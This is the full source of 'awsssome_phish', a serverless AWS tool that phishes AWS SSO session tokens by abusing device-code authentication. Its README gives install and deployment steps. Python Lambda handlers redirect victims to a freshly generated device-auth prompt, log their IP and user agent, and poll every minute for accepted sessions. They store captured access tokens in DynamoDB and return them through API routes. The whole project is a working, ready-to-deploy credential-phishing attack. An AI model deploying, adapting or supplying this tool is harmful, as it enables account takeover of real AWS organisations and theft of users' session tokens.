├── .gitignore ├── .npmignore ├── README.md ├── config.js ├── functions ├── createDeviceUrl │ └── handler.py ├── getClicks │ └── handler.py ├── getTokens │ └── handler.py ├── poller │ └── handler.py └── urlRedirect │ └── handler.py ├── package.json └── serverless.yml /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | node_modules/ 10 | package-lock.json 11 | 12 | # Serverless directories 13 | .serverless 14 | 15 | # Distribution / packaging 16 | .Python 17 | build/ 18 | develop-eggs/ 19 | dist/ 20 | downloads/ 21 | eggs/ 22 | .eggs/ 23 | lib/ 24 | lib64/ 25 | parts/ 26 | sdist/ 27 | var/ 28 | wheels/ 29 | pip-wheel-metadata/ 30 | share/python-wheels/ 31 | *.egg-info/ 32 | .installed.cfg 33 | *.egg 34 | MANIFEST 35 | 36 | # PyInstaller 37 | # Usually these files are written by a python script from a template 38 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 39 | *.manifest 40 | *.spec 41 | 42 | # Installer logs 43 | pip-log.txt 44 | pip-delete-this-directory.txt 45 | 46 | # Unit test / coverage reports 47 | htmlcov/ 48 | .tox/ 49 | .nox/ 50 | .coverage 51 | .coverage.* 52 | .cache 53 | nosetests.xml 54 | coverage.xml 55 | *.cover 56 | *.py,cover 57 | .hypothesis/ 58 | .pytest_cache/ 59 | 60 | # Translations 61 | *.mo 62 | *.pot 63 | 64 | # Django stuff: 65 | *.log 66 | local_settings.py 67 | db.sqlite3 68 | db.sqlite3-journal 69 | 70 | # Flask stuff: 71 | instance/ 72 | .webassets-cache 73 | 74 | # Scrapy stuff: 75 | .scrapy 76 | 77 | # Sphinx documentation 78 | docs/_build/ 79 | 80 | # PyBuilder 81 | target/ 82 | 83 | # Jupyter Notebook 84 | .ipynb_checkpoints 85 | 86 | # IPython 87 | profile_default/ 88 | ipython_config.py 89 | 90 | # pyenv 91 | .python-version 92 | 93 | # pipenv 94 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 95 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 96 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 97 | # install all needed dependencies. 98 | #Pipfile.lock 99 | 100 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 101 | __pypackages__/ 102 | 103 | # Celery stuff 104 | celerybeat-schedule 105 | celerybeat.pid 106 | 107 | # SageMath parsed files 108 | *.sage.py 109 | 110 | # Environments 111 | .env 112 | .venv 113 | env/ 114 | venv/ 115 | ENV/ 116 | env.bak/ 117 | venv.bak/ 118 | 119 | # Spyder project settings 120 | .spyderproject 121 | .spyproject 122 | 123 | # Rope project settings 124 | .ropeproject 125 | 126 | # mkdocs documentation 127 | /site 128 | 129 | # mypy 130 | .mypy_cache/ 131 | .dmypy.json 132 | dmypy.json 133 | 134 | # Pyre type checker 135 | .pyre/ 136 | -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- 1 | # Distribution / packaging 2 | .Python 3 | env/ 4 | build/ 5 | develop-eggs/ 6 | dist/ 7 | downloads/ 8 | eggs/ 9 | .eggs/ 10 | lib/ 11 | lib64/ 12 | parts/ 13 | sdist/ 14 | var/ 15 | *.egg-info/ 16 | .installed.cfg 17 | *.egg 18 | 19 | # Serverless directories 20 | .serverless -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # awsssome_phish 3 | 4 | This method was originally posted in a [blog](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication) by Christophe Tafani-Dereeper. This tool serves as an implementation of their work. 5 | 6 | When a user visits `/` of the phishing URL a lambda function starts sso-oicd authentication, a device authentication URL is generated and the victim is automatically redirected. To bypass the 6 min device authentication URL expiration, URLs are generated "Just In Time" when the user visits the phishing URL. 7 | 8 | Once redirected there will be an AWS SSO prompt asking the user to accept. If the user accepts then the ssso-oicd tokens become valid. Then a session token is generated and stored in the DynamoDb table, which can be accessed via the API. 9 | 10 | ## Demo 11 | 12 | https://user-images.githubusercontent.com/24581748/123670450-1471ec80-d7f2-11eb-8d6d-62fa4253ad46.MOV 13 | 14 | ## How it works 15 | 16 | The setup of this tool is nearly automated. Deploy the framework with serverless and take note of the outputs. 17 | 18 | Once deployed you will get your deployment endpoint as well as an API key to access the protected routes. 19 | 20 | If you would like to add a custom domain to the API endpoint you must configure that manually in AWS. 21 | 22 | ## Requirments 23 | 24 | * Nodejs 25 | * Python3 26 | 27 | ## Install 28 | 29 | 1. Install serverless framework 30 | `npm install serverless` 31 | 32 | 2. Specific the SSO URL and SSO Region in `config.js` 33 | 34 | 3. Deploy the API 35 | `sls deploy` 36 | 37 | 4. Take note of the API Key and deployed endpoints. 38 | 39 | At this stage, you will want to consider adding a custom domain name to your deployment. 40 | 41 | 42 | ## Usage 43 | 44 | Once deployed you will have an API gateway endpoint. The root `/` will automatically start a device auth and redirect the victim to log in. You can periodically check `/getClicks` to see if anyone has interacted with the URL and `/getTokens` to see if any valid sessions have been captured. 45 | 46 | If you wish to directly generate a device authentication URL you can do that with `/createDeviceUrl`. Note: URLs are only valid for 6 minutes. It is recommended to use the redirect method. 47 | 48 | 49 | 50 | ### Routes 51 | 52 | | Route | Description | API Key Required | 53 | | --- | --- | --- | 54 | | `/(?v=base64_victim_name)` | Main redirect route. Victims will be redirected to an SSO auth prompt. Appending the base64 v= will tag the created URL with the victim's name. This allows you to track links for specific users. | False | 55 | | `/getClicks` | Returns all active sessions from "clicks" this includes sessions that have not been accepted by the user. | True | 56 | | `/getTokens` | Returns all sessions that have valid session tokens. Meaning the user has clicked the link and accept the auth prompt. These tokens can be used to auth to the SSO org. | True | 57 | | `/createDeviceUrl(?v=base64_victim_name)` | Returns a device URL. This allows you to create an auth link directly if you wish to use the aws domain `device.sso..amazonaws.com`. Device URLs are valid for 6 minutes before they expire. Appending the base64 v= will tag the created URL with the victim's name. This allows you to track links for specific users. | True | 58 | 59 | 60 | -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | module.exports.ssoUrl = 'https://example.awsapps.com/start'; 2 | module.exports.ssoRegion = 'us-west-2'; 3 | 4 | -------------------------------------------------------------------------------- /functions/createDeviceUrl/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import boto3 4 | import os 5 | import time 6 | import base64 7 | 8 | from decimal import Decimal 9 | 10 | def create_oidc_application(sso_oidc_client): 11 | print("Creating temporary AWS SSO OIDC application") 12 | client = sso_oidc_client.register_client( 13 | clientName='default', 14 | clientType='public' 15 | ) 16 | client_id = client.get('clientId') 17 | client_secret = client.get('clientSecret') 18 | return client_id, client_secret 19 | 20 | 21 | def initiate_device_code_flow(sso_oidc_client,oidc_application, start_url): 22 | print("Initiating device code flow") 23 | authz = sso_oidc_client.start_device_authorization( 24 | clientId=oidc_application[0], 25 | clientSecret=oidc_application[1], 26 | startUrl=start_url 27 | ) 28 | 29 | url = authz.get('verificationUriComplete') 30 | deviceCode = authz.get('deviceCode') 31 | return url, deviceCode 32 | 33 | 34 | def create_device_code_url(sso_oidc_client, start_url): 35 | oidc_application = create_oidc_application(sso_oidc_client) 36 | url, device_code = initiate_device_code_flow( 37 | sso_oidc_client, oidc_application, start_url) 38 | return url, device_code, oidc_application 39 | 40 | def save_to_db(url, deviceCode, oidc_application, victim=""): 41 | dynamodb = boto3.resource('dynamodb') 42 | table = dynamodb.Table('sessionTable') 43 | 44 | 45 | data={ 46 | 'deviceCode': deviceCode, 47 | 'url': url, 48 | 'urlClicked': '', 49 | 'sessionCaptured': False, 50 | 'oidc_app': oidc_application, 51 | 'token': '', 52 | 'urlExpires': Decimal(time.time() + 600), 53 | 'victim': victim, 54 | 'sourceIp': '', 55 | 'userAgent': '' 56 | } 57 | 58 | table.put_item( 59 | Item=data 60 | ) 61 | 62 | return data 63 | 64 | def decode_victim_name(url_paramater): 65 | base64_bytes = url_paramater.encode('ascii') 66 | message_bytes = base64.b64decode(base64_bytes) 67 | message = message_bytes.decode('ascii') 68 | return message 69 | 70 | def main(event, context): 71 | 72 | START_URL = os.environ['START_URL'] 73 | REGION = os.environ['REGION'] 74 | 75 | victim = "" 76 | try: 77 | victim = decode_victim_name(str(event['queryStringParameters']['v'])) 78 | except Exception: 79 | pass 80 | 81 | sso_oidc_client = boto3.client('sso-oidc', region_name=REGION) 82 | 83 | url, device_code, oidc_application = create_device_code_url(sso_oidc_client, START_URL) 84 | 85 | save_to_db(url, device_code, oidc_application, victim) 86 | 87 | body = { 88 | "deviceUrl": url 89 | } 90 | 91 | response = { 92 | "statusCode": 200, 93 | "body": json.dumps(body) 94 | } 95 | 96 | return response 97 | -------------------------------------------------------------------------------- /functions/getClicks/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | import boto3 3 | 4 | 5 | def dump_table(): 6 | dynamodb = boto3.resource('dynamodb') 7 | table = dynamodb.Table('sessionTable') 8 | return parse_data(table.scan()['Items']) 9 | 10 | 11 | def parse_data(data): 12 | res = [] 13 | 14 | for click in data: 15 | res.append( 16 | { 17 | 'victim': str(click['victim']), 18 | 'soureIp': str(click.get('soureIp')), 19 | 'userAgent': str(click['userAgent']), 20 | 'urlClicked': str(click['urlClicked']), 21 | 'sessionCaptured': str(click['sessionCaptured']), 22 | 'urlExpires': str(click['urlExpires']) 23 | } 24 | ) 25 | return res 26 | 27 | def main(event, context): 28 | 29 | data = dump_table() 30 | 31 | response = { 32 | "statusCode": 200, 33 | "body": json.dumps(data) 34 | } 35 | 36 | return response 37 | 38 | -------------------------------------------------------------------------------- /functions/getTokens/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | import boto3 3 | 4 | 5 | def dump_table(): 6 | dynamodb = boto3.resource('dynamodb') 7 | table = dynamodb.Table('sessionTable') 8 | return parse_data(table.scan()['Items']) 9 | 10 | 11 | def parse_data(data): 12 | res = [] 13 | for click in data: 14 | if click['sessionCaptured']: 15 | res.append( 16 | { 17 | 'victim': str(click['victim']), 18 | 'soureIp': str(click.get('soureIp')), 19 | 'userAgent': str(click['userAgent']), 20 | 'urlClicked': str(click['urlClicked']), 21 | 'sessionCaptured': str(click['sessionCaptured']), 22 | 'token': str(click['token']), 23 | 'urlExpires': str(click['urlExpires']) 24 | } 25 | ) 26 | return res 27 | 28 | def main(event, context): 29 | 30 | data = dump_table() 31 | 32 | response = { 33 | "statusCode": 200, 34 | "body": json.dumps(data) 35 | } 36 | 37 | return response 38 | -------------------------------------------------------------------------------- /functions/poller/handler.py: -------------------------------------------------------------------------------- 1 | 2 | import boto3 3 | import botocore 4 | from os import environ 5 | 6 | def check_token(sso_oidc_client, oidc_application, device_code): 7 | 8 | try: 9 | # print( oidc_application, device_code) 10 | token_response = sso_oidc_client.create_token( 11 | clientId=oidc_application[0], 12 | clientSecret=oidc_application[1], 13 | grantType="urn:ietf:params:oauth:grant-type:device_code", 14 | deviceCode=device_code 15 | ) 16 | aws_sso_token = token_response.get('accessToken') 17 | return aws_sso_token 18 | except botocore.exceptions.ClientError as e: 19 | print(e.response['Error']) 20 | if e.response['Error']['Code'] != 'AuthorizationPendingException': 21 | return None 22 | 23 | return None 24 | 25 | 26 | #this will work but it is not the most optimizable. Table query, then pass in filter parameter. Check to see if false 27 | def get_sessions(): 28 | dynamodb = boto3.resource('dynamodb') 29 | table = dynamodb.Table('sessionTable') 30 | return table.scan()['Items'] 31 | 32 | def update_session_token(deviceCode, session_token): 33 | dynamodb = boto3.resource('dynamodb') 34 | table = dynamodb.Table('sessionTable') 35 | 36 | 37 | # get item 38 | response = table.get_item(Key={'deviceCode': deviceCode}) 39 | item = response['Item'] 40 | 41 | item['token'] = session_token 42 | item['sessionCaptured'] = True 43 | 44 | table.put_item(Item=item) 45 | 46 | return True 47 | 48 | 49 | def main(event, context): 50 | sso_oidc_client = boto3.client('sso-oidc', region_name=environ['REGION']) 51 | for session in get_sessions(): 52 | 53 | if session['sessionCaptured'] is False: 54 | oicd_app = session['oidc_app'] 55 | device_code_app = session['deviceCode'] 56 | token = check_token(sso_oidc_client, oicd_app, device_code_app) 57 | if token: 58 | print("GOT A HIT") 59 | update_session_token(device_code_app,token) 60 | 61 | response = { 62 | "statusCode": 200 63 | } 64 | 65 | return response 66 | -------------------------------------------------------------------------------- /functions/urlRedirect/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import boto3 4 | import os 5 | import time 6 | import base64 7 | 8 | from decimal import Decimal 9 | 10 | def create_oidc_application(sso_oidc_client): 11 | print("Creating temporary AWS SSO OIDC application") 12 | client = sso_oidc_client.register_client( 13 | clientName='default', 14 | clientType='public' 15 | ) 16 | client_id = client.get('clientId') 17 | client_secret = client.get('clientSecret') 18 | return client_id, client_secret 19 | 20 | 21 | def initiate_device_code_flow(sso_oidc_client,oidc_application, start_url): 22 | print("Initiating device code flow") 23 | authz = sso_oidc_client.start_device_authorization( 24 | clientId=oidc_application[0], 25 | clientSecret=oidc_application[1], 26 | startUrl=start_url 27 | ) 28 | 29 | url = authz.get('verificationUriComplete') 30 | deviceCode = authz.get('deviceCode') 31 | return url, deviceCode 32 | 33 | 34 | def create_device_code_url(sso_oidc_client, start_url): 35 | oidc_application = create_oidc_application(sso_oidc_client) 36 | url, device_code = initiate_device_code_flow( 37 | sso_oidc_client, oidc_application, start_url) 38 | return url, device_code, oidc_application 39 | 40 | def save_to_db(url, deviceCode, oidc_application, event, victim=""): 41 | dynamodb = boto3.resource('dynamodb') 42 | table = dynamodb.Table('sessionTable') 43 | 44 | try: 45 | sourceIp = event['requestContext']['identity']['sourceIp'] 46 | userAgent = event['requestContext']['identity']['userAgent'] 47 | except Exception: 48 | sourceIp = "" 49 | userAgent = "" 50 | 51 | data={ 52 | 'deviceCode': deviceCode, 53 | 'url': url, 54 | 'urlClicked': Decimal(time.time()), 55 | 'sessionCaptured': False, 56 | 'oidc_app': oidc_application, 57 | 'token': '', 58 | 'urlExpires': Decimal(time.time() + 600), 59 | 'victim': victim, 60 | 'sourceIp': sourceIp, 61 | 'userAgent': str(userAgent) 62 | } 63 | 64 | table.put_item( 65 | Item=data 66 | ) 67 | 68 | return data 69 | 70 | def decode_victim_name(url_paramater): 71 | base64_bytes = url_paramater.encode('ascii') 72 | message_bytes = base64.b64decode(base64_bytes) 73 | message = message_bytes.decode('ascii') 74 | return message 75 | 76 | def main(event, context): 77 | 78 | START_URL = os.environ['START_URL'] 79 | REGION = os.environ['REGION'] 80 | 81 | victim = "" 82 | try: 83 | victim = decode_victim_name(str(event['queryStringParameters']['v'])) 84 | except Exception: 85 | pass 86 | 87 | sso_oidc_client = boto3.client('sso-oidc', region_name=REGION) 88 | 89 | url, device_code, oidc_application = create_device_code_url(sso_oidc_client, START_URL) 90 | 91 | save_to_db(url, device_code, oidc_application, event, victim) 92 | 93 | response = { 94 | "statusCode": 301, 95 | "headers":{ 96 | "Location": url 97 | } 98 | } 99 | 100 | return response 101 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "awsssome_phish", 3 | "version": "1.0.0", 4 | "description": "This method was originally posted in a [blog](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication) by Christophe Tafani-Dereeper. This tool serves as an implementation of their work.", 5 | "main": "aws.js", 6 | "dependencies": { 7 | "serverless-plugin-scripts": "^1.0.2" 8 | }, 9 | "devDependencies": {}, 10 | "scripts": { 11 | "test": "echo \"Error: no test specified\" && exit 1" 12 | }, 13 | "repository": { 14 | "type": "git", 15 | "url": "git+https://github.com/sebastian-mora/awsssome_phish.git" 16 | }, 17 | "author": "Sebastian Mora", 18 | "license": "ISC", 19 | "bugs": { 20 | "url": "https://github.com/sebastian-mora/awsssome_phish/issues" 21 | }, 22 | "homepage": "https://github.com/sebastian-mora/awsssome_phish#readme" 23 | } 24 | -------------------------------------------------------------------------------- /serverless.yml: -------------------------------------------------------------------------------- 1 | service: awsssomephish 2 | app: awsssomephish 3 | 4 | 5 | frameworkVersion: '2' 6 | 7 | provider: 8 | name: aws 9 | runtime: python3.8 10 | stage: v1 11 | lambdaHashingVersion: 20201221 12 | apiGateway: 13 | apiKeys: 14 | - apiKey 15 | 16 | iam: 17 | role: 18 | statements: 19 | - Effect: "Allow" 20 | Action: 21 | - "dynamodb:PutItem" 22 | - "dynamodb:GetItem" 23 | - "dynamodb:Scan" 24 | Resource: 25 | Fn::GetAtt: 26 | - usersTable 27 | - Arn 28 | custom: 29 | ssoRegion: ${file(./config.js):ssoRegion} 30 | ssoUrl: ${file(./config.js):ssoUrl} 31 | 32 | 33 | package: 34 | individually: true 35 | 36 | plugins: 37 | - serverless-plugin-scripts 38 | 39 | functions: 40 | 41 | poller: 42 | handler: functions/poller/handler.main 43 | environment: 44 | REGION: ${self:custom.ssoRegion} 45 | package: 46 | exclude: 47 | - ./** 48 | include: 49 | - functions/poller/handler.py 50 | events: 51 | - schedule: 52 | rate: rate(1 minute) 53 | enabled: true 54 | 55 | urlRedirect: 56 | handler: functions/urlRedirect/handler.main 57 | environment: 58 | START_URL: ${self:custom.ssoUrl} 59 | REGION: ${self:custom.ssoRegion} 60 | package: 61 | exclude: 62 | - ./** 63 | include: 64 | - functions/urlRedirect/handler.py 65 | events: 66 | - http: get / 67 | 68 | 69 | getTokens: 70 | handler: functions/getTokens/handler.main 71 | package: 72 | exclude: 73 | - ./** 74 | include: 75 | - functions/getTokens/handler.py 76 | events: 77 | - http: 78 | path: getTokens 79 | method: get 80 | private: true 81 | 82 | getClicks: 83 | handler: functions/getClicks/handler.main 84 | package: 85 | exclude: 86 | - ./** 87 | include: 88 | - functions/getClicks/handler.py 89 | events: 90 | - http: 91 | path: getClicks 92 | method: get 93 | private: true 94 | 95 | 96 | createDeviceUrl: 97 | handler: functions/createDeviceUrl/handler.main 98 | environment: 99 | START_URL: "https://ruse.awsapps.com/start" 100 | REGION: ${self:custom.ssoRegion} 101 | package: 102 | exclude: 103 | - ./** 104 | include: 105 | - functions/createDeviceUrl/handler.py 106 | events: 107 | - http: 108 | path: createDeviceUrl 109 | method: get 110 | private: true 111 | 112 | 113 | resources: # CloudFormation template syntax from here on. 114 | Resources: 115 | 116 | # Create DynamoDB 117 | usersTable: 118 | Type: AWS::DynamoDB::Table 119 | Properties: 120 | TableName: sessionTable 121 | AttributeDefinitions: 122 | - AttributeName: deviceCode 123 | AttributeType: S 124 | KeySchema: 125 | - AttributeName: deviceCode 126 | KeyType: HASH 127 | ProvisionedThroughput: 128 | ReadCapacityUnits: 1 129 | WriteCapacityUnits: 1 130 | 131 | 132 | 133 | --------------------------------------------------------------------------------